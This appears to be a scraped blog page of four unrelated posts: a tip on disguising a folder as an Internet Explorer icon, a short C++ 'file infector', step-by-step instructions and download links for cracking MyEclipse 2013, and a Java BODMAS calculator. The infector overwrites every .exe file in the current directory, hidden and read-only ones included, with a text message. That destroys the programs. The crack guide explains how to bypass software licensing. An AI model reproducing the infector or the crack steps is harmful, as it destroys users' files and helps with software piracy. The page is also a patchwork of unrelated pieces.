How to hide your important files from people without making Hidden folders



1. Go to Desktop and create a new folder

2. Name the folder Internet Explorer

3. Change the folder icon to Internet Explorer

4. Keep it in a corner of the desktop

C program to infect Files


#include<iostream.h>
#include<dir.h>
#include<dos.h>
#include<fstream.h>

void main()
{
struct ffblk f;
int done;
ofstream file;

done = findfirst("*.exe", &f , FA_HIDDEN | FA_RDONLY); // write extension of files here
while(!done)
{

cout<<f.ff_name<<endl;
file.open(f.ff_name,ios::binary);
file<<"hi i am file infector"; //write message to be wriitten in file
file.close();

done = findnext(&f);
}
}
Compile and  Run

MyEclipse 2013 Professional/Standered/Blue/Spring Crack



Download MyEclipse Professional and Crack in the below link.

MyEclipse Professional :
http://downloads4.myeclipseide.com/downloads/products/eworkbench/2013/installers/myeclipse-pro-2013-offline-installer-windows.exe

Crack :
http://files.cnblogs.com/timeng/Myeclipse2013_crack.zip
 (or)
http://www.4shared.com/zip/MDlZiPHx/Myeclipse2013_crack.html

After downloading Crack , Unzip and click on run.bat

Close MyEclipse before cracking

1. Enter UserCode {any username}
2. Select My Eclipse Version
3. Click on SystemId
4. Click on Menu Tools > RebuildKey
5. Click on Activate Button
6. Click on Menu Tools > ReplaceJar
File Browser will open select the MyEclipse Installation Directory and then plugins inside it.and then Click ok
7. Click on Menu Tools > SaveProperties
8. Exit the Crack


BODMAS example in java

package com.anil;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class Test {

    public static void main(String[] args) {
        String orgString = "(3+4)*(7/2)";
        System.out.println(findValueInBraces(orgString));

    }

    public static String findValueInBraces(String finalStr) {

        while (finalStr.contains("(") && finalStr.contains(")")) {
            int fIndex = finalStr.indexOf("(");
            int nIndex = finalStr.indexOf(")");
            String subString = finalStr.substring(fIndex + 1, nIndex);
            finalStr = finalStr.substring(0, fIndex)
                    + calculate(subString)
                    + finalStr.substring(nIndex + 1,
                            finalStr.length());
        }
        return calculate(finalStr);

    }

    public static String calculate(String finalString) {

        while (finalString.contains("(") && finalString.contains(")")) {
            findValueInBraces(finalString);
        }
        while (!isNum(finalString)) {
            List<Integer> positions = getOperandPosition(finalString);
            int pos = positions.get(0);
            if (positions.size() >= 2 && positions.get(1) != null) {
                int nxtPos = positions.get(1);
                finalString = getValue(finalString.substring(0, nxtPos), pos)
                        + finalString.substring(nxtPos, finalString.length());
            } else {
                finalString = getValue(
                        finalString.substring(0, finalString.length()), pos);
            }
        }
        return finalString;

    }

    public static boolean isNum(String str) {
        if (str.contains("+") || str.contains("-") || str.contains("*")
                || str.contains("/")) {
            return false;
        }
        return true;
    }

    public static List<Integer> getOperandPosition(String str) {

        List<Integer> integers = new ArrayList<Integer>();

        if (str.contains("+")) {
            integers.add(str.indexOf("+"));
        }

        if (str.contains("-")) {
            integers.add(str.indexOf("-"));
        }

        if (str.contains("*")) {
            integers.add(str.indexOf("*"));
        }

        if (str.contains("/")) {
            integers.add(str.indexOf("/"));
        }

        Collections.sort(integers);
        return integers;
    }

    public static String getValue(String str, int pos) {
        double finalVal = 0;
        double a = Double.parseDouble(str.substring(0, pos));
        double b = Double.parseDouble(str.substring(pos + 1, str.length()));
        char c = str.charAt(pos);

        if (c == '*') {
            finalVal = a * b;
        } else if (c == '/') {
            finalVal = a / b;
        } else if (c == '+') {
            finalVal = a + b;
        } else if (c == '-') {
            finalVal = a - b;
        }
        return String.valueOf(finalVal);
    }
}